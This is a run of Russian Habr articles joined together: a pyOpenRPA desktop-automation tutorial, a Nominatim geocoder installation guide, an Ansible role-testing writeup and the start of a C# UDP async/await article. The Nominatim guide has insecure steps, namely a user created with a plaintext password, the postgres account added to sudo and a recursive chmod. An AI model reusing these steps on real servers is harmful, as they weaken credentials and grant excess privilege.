"rich_text_re" :: [str] :: регулярное выражение (python диалект) для отбора UIO, у которого атрибут *rich_text* должен удовлетворять условию данного регулярного выражения,
"class_name" :: [str] :: идентичное наименование атрибута *class_name* искомого объекта UIO,
"class_name_re" :: [str] :: регулярное выражение (python диалект) для отбора UIO, у которого атрибут *class_name* должен удовлетворять условию данного регулярного выражения,
"friendly_class_name" :: [str] :: идентичное наименование атрибута *friendly_class_name* искомого объекта UIO,
"friendly_class_name_re" :: [str] :: регулярное выражение (python диалект) для отбора UIO, у которого атрибут *friendly_class_name* должен удовлетворять условию данного регулярного выражения,
"control_type" :: [str] :: идентичное наименование атрибута *control_type* искомого объекта UIO,
"control_type_re" :: [str] :: регулярное выражение (python диалект) для отбора UIO, у которого атрибут *control_type* должен удовлетворять условию данного регулярного выражения,
"is_enabled" :: [bool] :: признак, что UIO доступен для выполнения действий,
"is_visible" :: [bool] :: признак, что UIO отображается на экране,
"backend" :: [str, "win32" || "uia"] :: вид способа адресации к UIO (по умолчанию "win32"). Внимание! Данный атрибут может быть указан только для первого элемента списка UIO селектора. Для остальных элементов списка данный атрибут будет проигнорирован.
},
{ ... спецификация UIO следующего уровня иерархии }
]
```
**Пример UIO селектора**
```
[
{"class_name":"CalcFrame", "backend":"win32"}, # Спецификация UIO 1-го уровня вложенности
{"title":"Hex", "depth_start":3, "depth_end": 3} # Спецификация UIO 1+3-го уровня вложенности (так как установлены атрибуты depth_start|depth_stop, определяющие глубину поиска UIO)
]
```
*PS. Перечень функций по работе с UIO селектором представлен в модуле UIDesktop (pyOpenRPA/Robot/UIDesktop.py). Именно эти функции будут использоваться при дальнейшей разработке робота.
Ознакомиться в полным перечнем функций модуля UIDesktop [можно здесь](https://gitlab.com/UnicodeLabs/OpenRPA/-/blob/master/Wiki/05.2.-Theory-&-practice.-Desktop-app-UI-access-(win32-and-UI-automation-dlls).md)*
(По шагам) робот своими руками
==============================
Вот мы и добрались до самого интересного и важного раздела этого туториала — это пошаговый пример по созданию своего первого робота с использованием pyOpenRPA.
В качестве экспериментального робота поставим себе следующую цель: **Разработать робота, который будет контролировать вид интерфейса в приложении "Калькулятор"**. Если вид интерфейса будет отличаться от вида "Программист", то робот должен будет выставить данный вид в автоматическом режиме.
Шаг 0. Подготовим интерпретатор Python 3 для нового робота (развернем pyOpenRPA)
--------------------------------------------------------------------------------
В отличии от подавляющего большинства RPA платформ, в pyOpenRPA реализован другой подход подключения к проекту. Если в остальных RPA платформах необходимо писать робота на языке этой платформы (текстовый, или графический, или скриптовый язык), то в случае pyOpenRPA именно вы определяете где, как и когда нужно использовать эту библиотеку в проекте.
Доступно несколько вариантов загрузки [pyOpenRPA](https://gitlab.com/UnicodeLabs/OpenRPA):
* Вариант 1, простой. Скачать преднастроенную портативную версию с [GitLab страницы проекта](https://gitlab.com/UnicodeLabs/OpenRPA)
* Вариант 2, посложнее. Установить pyOpenRPA в свою версию интерпретатора Python 3 (pip install pyOpenRPA)
Шаг 1. Создать проект робота
----------------------------
Для того, чтобы начать проект робота, необходимо создать папку проекта. В дальнейшем я затрону тему организации папок проектов для промышленных программных роботов. Но на текущий момент не буду заострять внимание на этом, чтобы сконцентрироваться непосредственно на основном — на логике работы с GUI окнами.
**Создадим следующую структуру проекта:**
* Папка "RobotCalc":
+ Файл "RobotCalc\_1.py" — скрипт робота 1, который мы пишем сейчас
+ Файл "RobotCalc\_1\_Run\_x64.cmd" — скрипт запуска робота 1
+ Файл "RobotCalc\_2.py" — скрипт робота 2, дополнение
+ Файл "RobotCalc\_2\_Run\_x64.cmd" — скрипт запуска робота 2
.cmd файлы в этом проекте играют важную роль — именно благодаря этим файлам мы будем иметь возможность выполнять запуск интересующего нас робота простым кликом по файлу.
**Ниже приведу пример "RobotCalc\_1\_Run\_x64.cmd" файла (файл "RobotCalc\_2\_Run\_x64.cmd" аналогичен):**
```
cd %~dp0
..\Resources\WPy64-3720\python-3.7.2.amd64\python.exe "RobotCalc_1.py"
pause >nul
```
Шаг 2. Запустить студию pyOpenRPA и сформировать необходимые UIO селекторы
--------------------------------------------------------------------------
* Открыть калькулятор (win + r > calc > enter)
**Если вы скачали преднастроенную версию pyOpenRPA с GitLab (вариант 1, простой):**
* Выполнить запуск cmd файла web студии pyOpenRPA из репозитория "pyOpenRPA\Studio\pyOpenRPA.Studio\_x64.cmd"
**Если вы скачали пакет pyOpenRPA с помощью pip install pyOpenRPA (вариант 2, посложнее):**
* Выполнить запуск интерпретатора python со следующими аргументами: python -m pyOpenRPA.Studio "..\Studio\SettingsStudioExample.py", где SettingsStudioExample.py — это конфигурационный файл запуска студии pyOpenRPA. Преднастроенный шаблон этого файла можно [скачать с репозитория pyOpenRPA в GitLab](https://gitlab.com/UnicodeLabs/OpenRPA/-/blob/master/Studio/SettingsStudioExample.py)
При любом из вариантов через 5 — 15 сек. должна автоматически отобразиться web студия pyOpenRPA (см. ниже)

*Внешний вид web студии pyOpenRPA*
* В списке открытых оконных GUI приложений найти калькулятор и активировать режим поиска UI элемента по наведению указателя мыши (Кнопка "Mouse search")
* Переключиться на калькулятор (alt + tab)
* Навести указатель мыши на тот элемент, который нам необходим для того, чтобы определить состояние интерфейса калькулятора. Выберем radio кнопку Hex. Зеленая окантовка появляется поверх калькулятора благодаря студии pyOpenRPA — именно таким образом студия сообщает нам о том, какой UI элемент она видит в калькулятора по той точке, куда наведен указатель мыши.

*Студии pyOpenRPA подсвечивает зеленой окантовкой обнаруженный UI элемент по месту указателя мыши на калькуляторе*
* Для того, чтобы остановить процесс поиска UI элемента необходимо зажать клавишу ctrl на 2-4 секунды, после чего в WEB интерфейсе студии появится иерархния до UI элемента, который студия подсвечивала зеленой окантовкой.

*Студия pyOpenRPA отобразила иерархию нахождения UI элемента в калькуляторе после отправки сигнала завершения поиска UI элементов (длительное нажатие ctrl)*
* Для того, чтобы убедиться в том, что элемент был обнаружен корректно, достаточно нажать кнопку "Highlight" по тому UI элементу, который интересует. Программа повторно нарисует эеленую окантовку поверх того UI элемента, который был обнаружен.
* Далее выполнить клик по UI элементу в окне иерархии в студии, после чего перейти в окно редактирования UIO селектора (UIO селектор далее будет использоваться в коде робота в Python 3)

*Студия pyOpenRPA сформировала UIO селектор в автоматическом режиме к UI элементу калькулятора*
* В нашем примере UI элемент расположен на 4-м уровне вложенности с атрибутом title = "Hex". В автоматическом режиме pyOpenRPA формирует UIO селектор по индексам расположения в вышестоящих UI элементах. Такой подход достаточно нежелательно использовать в конечных роботах, потому что индексы расположения UI элементов могут динамически изменяться во время работы программы.
* Произведем преобразование нашего UIO селектора:
```
[{"title":"Калькулятор","class_name":"CalcFrame","backend":"win32"},{"ctrl_index":0},{"ctrl_index":6},{"ctrl_index":1}]
```
в следующий вид:
```
[{"class_name":"CalcFrame","backend":"win32"},{ "title":"Hex", "depth_start":3, "depth_end": 3}]
```
* В результате преобразований убрали лишнее условие "title":"Калькулятор" и промежуточные уровни, которые характеризовались только индексами нахождения UI элементов. Вместо этого добавили условие поиска "title":"Hex" и установили область поиска "depth\_start":3, "depth\_end": 3 (в нашем случае это необходимо, потому что мы убрали явные уровни вложенности). Атрибуты "class\_name" накладывает условие, что надо искать прилоежние с class\_name = CalcFrame, а backend указывает pyOpenRPA, какую систему поиска UI элементов использовать (win32 или uia, у каждой и них есть + и -)
* С помощью кнопки "Hightlight element" убедимся в том, что UI элемент, по-прежнему, обнаруживается студией pyOpenRPA (при нажатии на кнопку поверх UI элемента должна быть отрисована зеленая окантовка — новый UIO селектор работает корректно)
* Данный UIO селектор будем использовать в роботе для проверки состояния интерфейса калькулятора: если UI элемент успешно обнаруживается, то режим калькулятора установлен верный. Если UI элемент не обнаруживается, то режим калькулятора установлен неверный, и его нужно будет изменить. Для того, чтобы проверить наличие UI элемента по UIO селектору воспользуемся функцией **pyOpenRPA.Robot.UIDesktop.UIOSelector\_Exist\_Bool**
```
lCalcHex_IsExistBool = UIDesktop.UIOSelector_Exist_Bool(inUIOSelector=[{"class_name":"CalcFrame","backend":"win32"},{ "title":"Hex", "depth_start":3, "depth_end": 3}]) # Проверить наличие UI элемента по UIO селектору
```
* Для того, чтобы установить режим программиста, воспользуемся еще одной возможностью win32 — активация события, расположенного в меню приложения (см. ниже).

*Вид "Программист" в калькуляторе*
Активация элемента меню выполняется с помощью специальной функции *menu\_select* у корневого UIO объекта GUI приложения.
* С помощью студии pyOpenRPA сформируем UIO селектор корневого объекта калькулятора
```
lUIOSelectorCalculator = [{"title":"Калькулятор","class_name":"CalcFrame","backend":"win32"}] # Сформировали UIO селектор из студии pyOpenRPA
```
* Далее запросим UIO объект по UIO селектору, после чего вызовем функцию *menu\_select*, в которую передадим строковый адрес вызываемого элемента меню
```
lUIOCalculator = UIDesktop.UIOSelector_Get_UIO(inSpecificationList=lUIOSelectorCalculator) # Получить UIO экземпляр
lUIOCalculator.menu_select("&Вид -> &Программист") # Выполнить смену режима калькулятора
```
Шаг 3. Консолидируем код в проекте робота
-----------------------------------------
Обадая всеми необходимыми UIO селекторами и функциями, перейдем к составлению целостного скрипта робота. Ниже я приведу код RobotCalc\_1.py файла, готового для запуска (python.exe "RobotCalc\_1.py") c детальным описанием каждой строки.
```
from pyOpenRPA.Robot import UIDesktop # Импорт модуля, который умеет управлять UI элеметами GUI приложений
import time # Библиотека сна алгоритма
import os # Библиотека системных функций, позволит открять калькулятор, если это потребуется
lUIOSelectorCalculator = [{"title":"Калькулятор","class_name":"CalcFrame","backend":"win32"}] # Сформировали UIO селектор из студии pyOpenRPA
while True: # Вечный цикл
lUIOCalculator = UIDesktop.UIOSelector_Get_UIO(inSpecificationList=lUIOSelectorCalculator) # Получить UIO экземпляр
lCalcHex_IsExistBool = UIDesktop.UIOSelector_Exist_Bool(inUIOSelector=[{"class_name":"CalcFrame","backend":"win32"},{ "title":"Hex", "depth_start":3, "depth_end": 3}]) # Проверить наличие UI элемента по UIO селектору
if not lCalcHex_IsExistBool: # Проверить, что UI элемент отсутствует
lUIOCalculator.menu_select("&Вид -> &Программист") # Выполнить смену режима калькулятора
time.sleep(1) # Выполнить сон на 1 сек., после чего перейти на следующую итерацию
```
Внимание! При запуске робота убедитесь в том, что калькулятор находится в активном состоянии на экране вашего компьютера. Робот начнет отслеживать состояние калькулятора. Если в калькуляторе не будет установлен режим программиста, то робот в течение 1 секунды вернет его в данный режим.
Дополнение. Дорабатываем робота, чтобы он еще включал калькулятор (если он выключен), раскрывал его (если он свернут)
---------------------------------------------------------------------------------------------------------------------
* Для решения поставленной задачи мы уже обладаем всеми необходимыми UIO селекторами. Необходимо только определиться с функциями, которые дополнительно будем использовать.
* Для запуска калькулятора будем использовать функцию *os.system*
```
os.system("calc") # Открыть калькулятор
```
* Для проверки состояния окна (свернуто в трэй или развернуто) *is\_minimized*
```
lUIOCalculator.is_minimized()
```
* Для восстановления свернутого окна будем использовать функцию *restore*
```
lUIOCalculator.restore() # Восстановить окно калькулятора из свернутого вида
```
* Итого получим следующий исходный код робота (файл RobotCalc\_2.py).
```
from pyOpenRPA.Robot import UIDesktop # Импорт модуля, который умеет управлять UI элеметами GUI приложений
import time # Библиотека сна алгоритма
import os # Билбиотека системных функций, позволит открять калькулятор, если это потребуется
lUIOSelectorCalculator = [{"title":"Калькулятор","class_name":"CalcFrame","backend":"win32"}] # Сформировали UIO селектор из студии pyOpenRPA
while True: # Вечный цикл
lExistBool = UIDesktop.UIOSelector_Exist_Bool(inUIOSelector=lUIOSelectorCalculator) # Проверить наличие окна по UIO селектору
if not lExistBool: # Проверить наличие окна калькулятора
os.system("calc") # Открыть калькулятор
else: # Проверить, что окно калькулятора не свернуто
lUIOCalculator = UIDesktop.UIOSelector_Get_UIO(inSpecificationList=lUIOSelectorCalculator) # Получить UIO экземпляр
if lUIOCalculator.is_minimized(): # Проверить, что калькулятор находится в свернутом виде
lUIOCalculator.restore() # Восстановить окно калькулятора из свернутого вида
else:
lCalcHex_IsExistBool = UIDesktop.UIOSelector_Exist_Bool(inUIOSelector=[{"class_name":"CalcFrame","backend":"win32"},{ "title":"Hex", "depth_start":3, "depth_end": 3}]) # Проверить наличие UI элемента по UIO селектору
if not lCalcHex_IsExistBool: # Проверить, что UI элемент отсутствует
lUIOCalculator.menu_select("&Вид -> &Программист") # Выполнить смену режима калькулятора
time.sleep(1) # Выполнить сон на 1 сек., после чего перейти на следующую итерацию
```
*PS 1. Для сравнения: Реализация аналогичного алгоритма в другой RPA платформе с помощью инструментов визуального программирования потребует в **3-4 раза больше пространства рабочей области экрана** (в связи со спецификой визуального программирования).*
*PS 2. Перечень всех функций в модуле UIDesktop (pyOpenRPA/Robot/UIDesktop.py)
Ознакомиться в полным перечнем функций модуля UIDesktop [можно здесь](https://gitlab.com/UnicodeLabs/OpenRPA/-/blob/master/Wiki/05.2.-Theory-&-practice.-Desktop-app-UI-access-(win32-and-UI-automation-dlls).md)*
Подведем итоги
==============
Итак, мы успешно преодолели первые шаги по созданию бесплатных программных роботов. Безусловно, эта статья покрывает далеко не все области программной роботизации. В следующих статьях-туториалах мы остановимся на оставшихся "столпах" роботизированного управления (мышь, клавиатура, распознавание изображения с экрана и web манипуляции).
Надеюсь, что рассмотренные технологии, в первую очередь, помогут вам или вашей компании в достижении поставленных целей. А во вторую очередь, пусть получают выгоду и другие участники RPA рынка (да, я про вендоров платных RPA платформ, многие из которых базируются в США).
Всегда открыт к вашим комментариям, и буду рад помочь вам в решении ваших вопросов.
До скорых публикаций! | https://habr.com/ru/post/509644/ | null | ru | null |
# Установка OpenStreetMap Nominatim для нахождения широты и долготы по введенному адресу

Хотел бы поведать свою историю об установке геокодера Nominatim на выделенный сервер. Изначально предполагалось, что эта задача займёт у меня около 5-7 часов, но не тут то было… Поэтому было решено написать статью c описанием разворачивания Nominatim на сервер до полной работоспособности сайта. Но обо всём по порядку.
#### Введение
Есть множество сервисов с геокодерами, не буду здесь их всех перечислить, отмечу, что на Хабре есть хорошие статьи по этому поводу: [«Geocoding with PHP and the Google Maps API»](http://habrahabr.ru/post/31424/), а также [«Яндекс Карты: Поиск произвольных объектов»](http://habrahabr.ru/post/154581/).
Для тех кто не в курсе: **Geocoding** — это процесс нахождения широты и долготы по введенному адресу.
Мой выбор пал именно на Nominatim, так как его можно развернуть на своём сервере и не ограничиваться количеством запросов, а также уже был опыт работы с OSM картами и хотелось бы его применить.
#### Документация
Сайт с уже работающей картой можно найти по ссылке: [OpenStreetMap Nominatim](http://nominatim.openstreetmap.org/)
А вот и ссылка на примеры запросов: [Wiki nominatim](http://wiki.openstreetmap.org/wiki/Nominatim)
Так же есть ссылка на установку Nominatim [Installation](http://wiki.openstreetmap.org/wiki/Nominatim/Installation). Но эта документация немного устарела, для установки именно по этой статье необходимо немного потанцевать с бубном. Всё ниже описанное, будет ссылаться на эту статью по установке, только без участия бубна.
А так же есть докер контейнер [nominatim docker](https://registry.hub.docker.com/u/nicopace/nominatim-docker/). По какой-то причине, скорее всего из-за устаревших пакетов установки, этот контейнер у меня таки не запустился.
#### Шаг 1: Создание виртуальной машины
За основу была взята машина из облака Microsoft Azure серии standart D2 с характеристиками: 2 cores, 7 GB RAM, 100 GB SSD. Именно на этой машине и будет производиться установка Nominatim. 100GB на самом деле — это больше чем нужно для моей задачи, так как карта Украины не настолько большая. После установки всех необходимых компонентов осталось свободных 70%.
#### Шаг 2: Установка необходимых пакетов
```
sudo apt-get update
sudo apt-get -y install wget
sudo apt-get -y install build-essential automake
sudo apt-get -y install libxml2-dev
sudo apt-get -y install libgeos-dev
sudo apt-get -y install libpq-dev
sudo apt-get -y install libbz2-dev
sudo apt-get -y install libtool libproj-dev
sudo apt-get -y install libgeos++-dev
sudo apt-get -y install gcc proj-bin libgeos-c1 git osmosis
sudo apt-get -y install php5 php-pear php5-pgsql php5-json
sudo apt-get -y install bc
sudo apt-get -y install postgresql-9.4 postgresql-9.4-postgis-2.1 postgresql-contrib-9.4 postgresql-server-dev-9.4
sudo apt-get -y install libboost-chrono1.55-dev libboost-thread1.55-dev libboost-filesystem1.55-dev
sudo apt-get -y install python-software-properties && add-apt-repository -y ppa:kakrueger/openstreetmap && apt-get update && apt-get --no-install-recommends install -y osm2pgsql
```
#### Шаг 3: Настройка
```
sudo -i
pear install DB
sudo -u username
sudo mkdir -p /app/nominatim
sudo -i
useradd -m -p password1234 -d /app/nominatim nominatim
chown nominatim: /app/nominatim
cd /app/nominatim
wget http://www.nominatim.org/release/Nominatim-2.4.0.tar.bz2
tar xvf Nominatim-2.4.0.tar.bz2
rm Nominatim-2.4.0.tar.bz2
mv Nominatim-2.4.0/* .
rm Nominatim-2.4.0/
sudo -u nominatim ./autogen.sh
./configure && make
```
Думаю, в этих строках команд не сложно разобраться. В случае если возникнет ошибка с получение прав доступа, установим права доступа на чтение и запуск на выполнение всем пользователям и группам *chmod -R 755 /app*. Хотелось бы отметить, что иногда возникала проблема при выполнении команды *make*. если у вас возникла эта проблема воспользуйтесь командой *sudo make clean*, а затем уже *./configure && make*.
#### Шаг 4: PostgreSQL
Изначально, postgres настроен не для боевого сервера, так что надо его конфигурировать вот советы от wiki документации nominatim:
> Ubuntu location /etc/postgresql/9.x/main/postgresql.conf
>
> CentOS location /var/lib/pgsql/data/postgresql.conf
>
>
>
> shared\_buffers (4GB)
>
> maintenance\_work\_mem (10GB)
>
> work\_mem (50MB)
>
> effective\_cache\_size (24GB)
>
> synchronous\_commit = off
>
> checkpoint\_segments = 100
>
> checkpoint\_timeout = 10min
>
> checkpoint\_completion\_target = 0.9
>
> The numbers in brackets behind some parameters seem to work fine for 32GB RAM machine
>
>
```
sudo passwd postgres
sudo usermod -a -G sudo postgres
service postgresql start && pg_dropcluster --stop 9.4 main
service postgresql start && pg_createcluster --start -e UTF-8 9.4 main
service postgresql start && sudo -u postgres psql postgres -tAc "SELECT 1 FROM pg_roles WHERE rolname='nominatim'" | grep -q 1 || sudo -u postgres createuser -s nominatim && sudo -u postgres psql postgres -tAc "SELECT 1 FROM pg_roles WHERE rolname='www-data'" | grep -q 1 || sudo -u postgres createuser -SDR www-data && sudo -u postgres psql postgres -c "DROP DATABASE IF EXISTS nominatim"
```
На этом самая простая часть работы с установкой закончена. А теперь начинается хардкор, потому что дальнейшие действия выполняются не всегда корректно. И после такого некорректного завершения, к сожалению, иногда приходиться выполнять действия заново на новой виртуальной машине.
#### Шаг 5: Загрузка и установка osm карт
В начале необходимо загрузить саму карту из сайта в формате \*.pbf: [OpenStreetMap Data Extracts](http://download.geofabrik.de/). В качестве примера я загружаю карту Украины и переименовываю в data.pbf.
```
wget --output-document=data.pbf http://download.geofabrik.de/europe/ukraine-latest.osm.pbf
chown nominatim: data.pbf
touch local.php /app/nominatim/settings/local.php
nano /app/nominatim/settings/local.php
```
Последняя команда открывает файл конфигураций по установке nominatim. В файл local.php нужно ввести код который описан ниже.
```
php
// Paths
@define('CONST_Postgresql_Version', '9.4');
@define('CONST_Postgis_Version', '2.1');
// Website settings
@define('CONST_Website_BaseURL', 'http://geocoder.cloudapp.net/');
?
```
В качестве BaseURL необходимо вписать адрес сайта, с которого будет запущен nominatim.
Теперь запускаем команду установки nominatim. Эта операция занимает довольно таки длительное время, например с картой Украины установка длилась около 7 часов. В силу того, что я выполнял все команды через ssh, и являюсь подверженным переменному отключению интернета, выполнение команды установки проводится в [скрине](http://help.ubuntu.ru/wiki/screen).
```
screen
service postgresql start && sudo -u nominatim -- ./utils/setup.php --osm-file /app/nominatim/data.pbf --all --threads 2 2>&1; sudo -u nominatim -- ./utils/setup.php --index --create-search-indices
```
Для выхода из скрина нужно набрать комбинации Ctrl+A затем Ctrl+D. Команда *screen -r* возвращает обратно в скрин.
Теперь запустим сайт быстрым способом:
```
./utils/setup.php --create-website /var/www/html
rm /var/www/html/index.html
/etc/init.d/apache2 restart
```
Я обошелся без настройки apache или работой с nginx, так как об этом вы с легкостью можете прочитать на Хабре в других статьях. Да и без настройки сайт прекрасно работает.
#### Тестируем сайт
В результате мы должны увидеть что-то подобное, как на моём скрине:

Проверим как работает api, сделав запрос:
<http://geocoder.cloudapp.net/?format=json&addressdetails=1&q=Odessa&format=json&limit=1>
Response:
```
[{"place_id":"1145869","licence":"Data © OpenStreetMap contributors, ODbL 1.0. http:\/\/www.openstreetmap.org\/copyright","osm_type":"relation","osm_id":"1413934","boundingbox":["46.342707","46.6291187","30.6114013","30.8313753"],"lat":"46.4858883","lon":"30.68365101101","display_name":"Одесса, Одесская область, Украина","class":"place","type":"city","importance":0.45,"icon":"http:\/\/geocoder.cloudapp.net\/images\/mapicons\/poi_place_city.p.20.png","address":{"city":"Одесса","county":"Одесса","state":"Одесская область","country":"Украина","country_code":"ua"}}]
```
#### Выводы
В конце хотелось бы подметить, что для загрузки карты Земли нужно сервер по мощнее, чем серия D2, если вы не хотите \*неделю ждать загрузки. Эту проблему так же можно решить с помощью временного масштабирования сервера до серии D14 (16 ядер, 112 ГБ памяти). А вот время выполнение запроса поиска очень радует: в среднем поиск по Украине занимает всего 300мс.
Надеюсь, данная статья поможет другим разработчикам потратить меньше времени на разворачивание Nominatim и понять, нужно ли вам это. Может стоит взять уже готовое и использовать?
Если у кого-то из хабросообщества будет необходимость в рабочем Docker контейнере с Nominatim, или другие идеи — пишите, всегда рад пообщаться. | https://habr.com/ru/post/259667/ | null | ru | null |
# Мечтают ли YML программисты о тестировании ansible?

Это текстовая версия [выступления](https://cloud.mail.ru/public/DBuA/7sEMAMRyH) 2018-04-25 на [Saint-Petersburg Linux User Group](http://spblug.org/). Пример кода тут: <https://github.com/ultral/ansible-role-testing>
Полагаю что вы используете [configuration mangement, а не bash](http://www.goncharov.xyz/it/make-cm-not-bash-ru.html). Т.е. ваша конфигурация это код. Если мы говорим, что инфраструктура это код, то к её созданию должна применяться та же философия, что и для разработки ПО. Вы задумывались об этом? Как у вас это сделано? А у других?
Пререквизиты
============
В описываемом случае было множество вводных:
* Множество ansible ролей.
* Hyper-V как основной гипервизор.
* Приватное облако с ограниченными возможностями по созданию виртуальных машин на лету.
* Proxy для доступа к интернету.
* Невозможность запускать тестирование ansible ролей в docker, потому что роль это конфиг целой вм, в том числе сетевые настройки например.
* Желание использовать политику зеленого мастера для репозитория с ansible ролями.
Преждем чем делать своё, сравним существующие решения.
| Проект | [Test Kitchen](https://kitchen.ci/) | [Molecule](https://molecule.readthedocs.io) | Свой |
| --- | --- | --- | --- |
| Language | ruby | python | bash/ruby |
| Watchers | 132 | 126 | 0 |
| Stars | 1413 | 1154 | 1 |
| Forks | 502 | 174 | 2 |
| License | Apache 2.0 | MIT | Any |
| Commits | 1929 | 1264 | 0 |
| Releases | 101 | 121 | 0 |
| Contributors | 109 | 82 | 5 |
| Name | [testinfra](https://testinfra.readthedocs.io) | [serverspec](https://serverspec.org/) | [inspec](https://www.inspec.io/) | Goss |
| --- | --- | --- | --- | --- |
| Github | [philpep/testinfra](https://github.com/philpep/testinfra) | [mizzy/serverspec](https://github.com/mizzy/serverspec) | [chef/inspec](https://github.com/chef/inspec) | [aelsabbahy/goss](https://github.com/aelsabbahy/goss) |
| Language | python | ruby | ruby | go |
| Watchers | 93 | 145 | 165 | 67 |
| Stars | 997 | 2105 | 1167 | 2170 |
| Forks | 138 | 361 | 330 | 156 |
| License | Apache 2.0 | MIT | Apache 2.0 | Apache 2.0 |
| Commits | 380 | 1854 | 4609 | 309 |
| Releases | 35 | 282 | 346 | 47 |
| Contributors | 43 | 110 | 159 | 31 |
Мы решили не [изобретать велосипед](https://habr.com/en/post/342216/) и взять готовое решение. Наша инфраструктурная команда умеет в ruby поэтому был выбран [Test Kitchen](https://kitchen.ci/) & [inspec](https://www.inspec.io/)
Kitchen-CI
==========

Идея до безобразия простая. Создаем новую виртуальную машину, применяем роль, прогоняем smoke-test.
Green Build Policy
==================

Но решили идти дальше. Использовать аля github flow, т.е. роли в отдельных бранчах и после ревью мерджим в мастер. Если тесты ок, то накатываем роли на инфраструктуру.
Вложенная виртуализация
=======================
Как вы помните, у нас были ограничения на создание виртуальных машин, по этому пришлось делать непритное решение в виде вложенной виртуализации.

Изначально попробовали Virtualbox x32 что бы не включать поддержку nested. Это оказалось не очень идей из-за стабильныз kernel panic. Второй важный фактор, что мы сидим на x86\_64, так что изыскания продолжились(привет libvirt), но остановились на virtualbox как более распространным по поддерживаемым ОС.
Сложности
=========
Во время запуска это всего добра был ряд сложностей
Прокинуть настройки proxy с хоста в гостя гостя
-----------------------------------------------
В некоторых тестовых сценарияъ использовалась настройки proxy, при этому на хосте с testkitchen использовался прозрачный прокси и бонусом ansible не принимал extra variables с пустыми значениями.
*Решение:* банально — создаем ERB шаблон.
```
<%= ENV['http_proxy'].to_s.empty? ? 'http://proxy.example.com:3128' : ENV['http_proxy'] %>
```
Управление сетевыми настройками через ansible
---------------------------------------------
В некоторых ролях настраивалась сеть, в тестах это выглядело так:
* Настраиваем сеть копированием файлика.
* Применяем настройки сети.
* Все плохо.
*Решение:* Добавить интерфейс к виртуальной машине
Если тестовый набор содержи "\_" все падает
-------------------------------------------
Virtualbox не может пользовать "\_" в имени виртуальной машины. А виртуальная машина использовала название сценария.
*Решение:* переименовать тестовые наборы "vm\_" => "vm-"
Тестовые сценарии с установкой Oracle без "." в конце имени виртуальной машины падают
-------------------------------------------------------------------------------------
Роль пользовалась в условном продашине, когда решили покрыть ее тестами. Когда раскатываешь на подготовленную вм — роль отрабатывает, через testkitchen падает.
Небольшая подсказка
```
[root@vm-oracle vagrant]# getent ahosts vm-oracle
127.0.0.1 STREAM vm-oracle
127.0.0.1 DGRAM
127.0.0.1 RAW
[root@vm-oracle vagrant]# getent ahosts vm-oracle.
fe80::a00:27ff:febd:bd6a STREAM vm-oracle
fe80::a00:27ff:febd:bd6a DGRAM
fe80::a00:27ff:febd:bd6a RAW
10.0.2.15 STREAM
10.0.2.15 DGRAM
10.0.2.15 RAW
[root@oracle vagrant]# getent ahosts oracle.example.com.
192.168.128.182 STREAM oracle.example.local
192.168.128.182 DGRAM
192.168.128.182 RAW
```
Есть идеи что происходит?
Это был забавный сценарий:
1. У нас включался биндинг IPv4 только в настройках oracle listener.
2. oracle использует FQDN.
3. linux содержит специальную базу "myhostname" для разрешения доменных имен, она использовалась после /etc/hosts & dns серверов.
4. Vagrant создает VM & обновляет `/etc/hosts`.
Чуть поясню:
Что происходит в случае *vm-oracle*?
1. vagrant создает виртуальную машину.
2. vagrant обновляет `/etc/hosts`(*vm-oracle* x2)
3. oracle listener слушает IPv4.
4. oracle listeners разрешает доменное имя *vm-oracle.* & получает IPv6.
5. FAILED
Что происходит в случае *vm-oracle.*?
1. vagrant создает виртуальную машину.
2. vagrant обновляет /etc/hosts ( *vm-oracle* & *vm-oracle.*).
3. oracle listener слушает IPv4.
4. oracle listeners разрешает доменное имя *vm-oracle.* & получает IPv4
5. OK
OOM в гости к нам приходит
--------------------------
OOM случайным образом убивал виртуальные машину. Testkitchen при этому в логах своих давал всякие странные собщение.
*Решение:* Увеличить колличество памяти.
Медленные билды
---------------
Вся эта схма работала медленно, десятки минут, иногда и больше часа.
*Решения:*
* [Packer](https://www.packer.io/). Предсобирать образы виртуальных машин.
* Пускать несолько тестовых сценариев в параллель
Заключение
==========
Если мы говорим, что инфраструктура это код, то к её созданию должна применяться та же философия, что и для разработки ПО. С одной стороны получилось рабочее решение, но есть некоторые неприятные момент:
* Не дружелюбно оно все выглядит.
* Смесь ruby & python.
* Отсутсвует проверки иимутабельности ролей.
* Медленно работает.
* Сложно....
На выходе molecule с docker смотрится интересно и более нативно. Мы подумываем об этом.
Ссылки
======
* [Английская версия](https://habr.com/en/post/436960/)
* [Слайды с выступления](https://cloud.mail.ru/public/DBuA/7sEMAMRyH)
* [Пример кода](https://github.com/ultral/ansible-role-testing)
* <http://kitchen.ci/>
* <https://github.com/chef/kitchen-inspec>
* <https://docs.chef.io/config_yml_kitchen.html>
* <https://docs.chef.io/ctl_kitchen.html>
* <https://github.com/neillturner/kitchen-ansible/blob/master/provisioner_options.md> | https://habr.com/ru/post/437004/ | null | ru | null |
# UDP и C# async/await
Недавно возникла необходимость решить следующую несложную задачку: есть несколько десятков устройств (учебных комплексов), у которых нужно регулярно запрашивать их текущее состояние. Комплексы общаются по протоколу UDP, и хотелось сделать так, чтобы не задумываться о цикле опроса и определении, от какого же устройства пришел ответ, а просто посылать запрос — и когда пришел результат — записывать его. Задачу эту я решал и раньше, но захотелось посмотреть, насколько концепция async/await упростит и сократит код. Оказалось, что финальный результат занимает меньше странички.
Вся логика опроса состоит всего лишь из двух методов — цикла чтения сокета UDP и метода посылки команды на устройство.
Когда посылаем команду, есть две вещи, которые надо принять во внимание — это 1) после посылки команды нам надо ждать ответа от устройства и 2) ответ может не прийти — тогда необходимо вернуть исключение, которое скажет нам о таймауте.
Асинхронный метод посылки команды выглядит следующим образом **(\*см. Update 1)**:
```
public async Task SendReceiveAsync(byte[] msg, string ip, int port, int timeOut)
{
var endPoint = new IPEndPoint(IPAddress.Parse(ip), port);
var tcs = new TaskCompletionSource();
try
{
var tokenSource = new CancellationTokenSource(timeOut);
var token = tokenSource.Token;
if (!\_tcsDictionary.ContainsKey(endPoint)) \_tcsDictionary.TryAdd(endPoint, tcs);
\_client.Send(msg, msg.Length, ip, port);
var result = await tcs.Task.WithCancellation(token);
return result;
}
finally
{
\_tcsDictionary.TryRemove(endPoint, out tcs);
}
}
```
Здесь \_client — это стандартный UdpClient.
Мы посылаем команду и по await ждем результата, который нам должен вернуть Task, сохраненный в словарике с ключом нашего соединения (именно от него мы и ждем ответ). Когда чтение начинается — мы заносим TaskCompletionSource в словарик, когда мы получаем ответ и соединение больше не нужно, либо при выброшенном исключении — удаляем из словарика.
